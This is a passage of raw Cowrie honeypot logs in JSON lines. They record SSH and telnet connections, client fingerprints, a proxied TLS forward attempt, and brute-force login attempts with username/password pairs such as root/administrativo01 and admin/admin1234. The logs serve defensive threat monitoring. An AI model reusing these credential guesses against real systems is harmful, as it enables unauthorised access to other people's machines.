{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:48.631177Z","src_ip":"23.175.50.47","session":"f3b72ecdadeb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcc1\\x0f^\\xc1R\\xdali\\xa4\\xe4\\x06\\xac\\xf5\\xbdD&\\xa2\\x9c\\x12\\x152\\xdf\\x8aiN\\xa2\\x86\\x1d\\xc7\\x91\\xe5 \\xaa\\xdb]\\xff\\x88)\\xe1\\'\\xc8 \\x98\\x90r\\x8f\\xf7P\\n\\xf7\\x0c\\xd8>Z\\xbf\\xba\\xb0\\xdc\\xf1\\x1e\\xc7S,\\x91\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1c\\xe1\\xe5u0\\x82[\\x18\\x91w\\xfaD\\xe4\\xaa\\x8eu\\xdc\\xe2\\x11i%ai\\x91:\\xf8\\x8a\\xe58\\xf6\\xd0x\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcc1\\x0f^\\xc1R\\xdali\\xa4\\xe4\\x06\\xac\\xf5\\xbdD&\\xa2\\x9c\\x12\\x152\\xdf\\x8aiN\\xa2\\x86\\x1d\\xc7\\x91\\xe5 \\xaa\\xdb]\\xff\\x88)\\xe1\\'\\xc8 \\x98\\x90r\\x8f\\xf7P\\n\\xf7\\x0c\\xd8>Z\\xbf\\xba\\xb0\\xdc\\xf1\\x1e\\xc7S,\\x91\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1c\\xe1\\xe5u0\\x82[\\x18\\x91w\\xfaD\\xe4\\xaa\\x8eu\\xdc\\xe2\\x11i%ai\\x91:\\xf8\\x8a\\xe58\\xf6\\xd0x\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:48.634387Z","src_ip":"23.175.50.47","session":"f3b72ecdadeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:50.311723Z","src_ip":"23.175.50.47","session":"f3b72ecdadeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":52902,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4e16180e7ad","protocol":"ssh","message":"New connection: 27.71.230.31:52902 (159.203.135.109:22) [session: b4e16180e7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:51.838405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:52.727739Z","src_ip":"27.71.230.31","session":"b4e16180e7ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:52.731196Z","src_ip":"27.71.230.31","session":"b4e16180e7ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrativo01","message":"login attempt [root/administrativo01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:59.036225Z","src_ip":"27.71.230.31","session":"b4e16180e7ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:00.295667Z","src_ip":"27.71.230.31","session":"b4e16180e7ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"072f836e3b52","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: 072f836e3b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:05.776059Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:05.889937Z","src_ip":"77.90.185.16","session":"072f836e3b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52376,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a30438b6e8c","protocol":"telnet","message":"New connection: 107.6.151.170:52376 (159.203.135.109:23) [session: 1a30438b6e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:13.677550Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":39026,"dst_ip":"159.203.135.109","dst_port":22,"session":"15470ba032e7","protocol":"ssh","message":"New connection: 182.93.50.90:39026 (159.203.135.109:22) [session: 15470ba032e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:14.581949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:14.586536Z","src_ip":"182.93.50.90","session":"15470ba032e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:14.802879Z","src_ip":"182.93.50.90","session":"15470ba032e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456789","message":"login attempt [runner/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:15.695464Z","src_ip":"182.93.50.90","session":"15470ba032e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:16.914203Z","src_ip":"182.93.50.90","session":"15470ba032e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54618,"dst_ip":"159.203.135.109","dst_port":23,"session":"60a6af237530","protocol":"telnet","message":"New connection: 107.6.151.170:54618 (159.203.135.109:23) [session: 60a6af237530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:17.720826Z"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":63714,"dst_ip":"10.17.0.5","dst_port":22,"session":"100133edbaac","protocol":"ssh","message":"New connection: 63.141.242.2:63714 (10.17.0.5:22) [session: 100133edbaac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:24.147664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:24.152698Z","src_ip":"63.141.242.2","session":"100133edbaac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:24.209672Z","src_ip":"63.141.242.2","session":"100133edbaac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":35716,"dst_ip":"159.203.135.109","dst_port":22,"session":"50690f8a6711","protocol":"ssh","message":"New connection: 103.60.242.169:35716 (159.203.135.109:22) [session: 50690f8a6711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:24.694893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:24.700439Z","src_ip":"103.60.242.169","session":"50690f8a6711","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:24.959317Z","src_ip":"103.60.242.169","session":"50690f8a6711","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:25.738158Z","src_ip":"63.141.242.2","session":"100133edbaac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"unaih","password":"unaih","message":"login attempt [unaih/unaih] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:26.028694Z","src_ip":"103.60.242.169","session":"50690f8a6711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.113.53","src_port":39538,"dst_ip":"159.203.135.109","dst_port":22,"session":"21503dd5e965","protocol":"ssh","message":"New connection: 14.103.113.53:39538 (159.203.135.109:22) [session: 21503dd5e965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:26.666652Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:27.289499Z","src_ip":"103.60.242.169","session":"50690f8a6711","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:27.591965Z","src_ip":"14.103.113.53","session":"21503dd5e965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:31.175778Z","src_ip":"14.103.113.53","session":"21503dd5e965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yining","password":"yining","message":"login attempt [yining/yining] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:32.410383Z","src_ip":"14.103.113.53","session":"21503dd5e965","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40976,"dst_ip":"159.203.135.109","dst_port":23,"session":"448c41ea9d16","protocol":"telnet","message":"New connection: 128.199.8.54:40976 (159.203.135.109:23) [session: 448c41ea9d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:33.027859Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":40702,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bbff105f0c7","protocol":"ssh","message":"New connection: 41.90.100.147:40702 (159.203.135.109:22) [session: 1bbff105f0c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:33.161229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:16:33.166285Z","src_ip":"41.90.100.147","session":"1bbff105f0c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 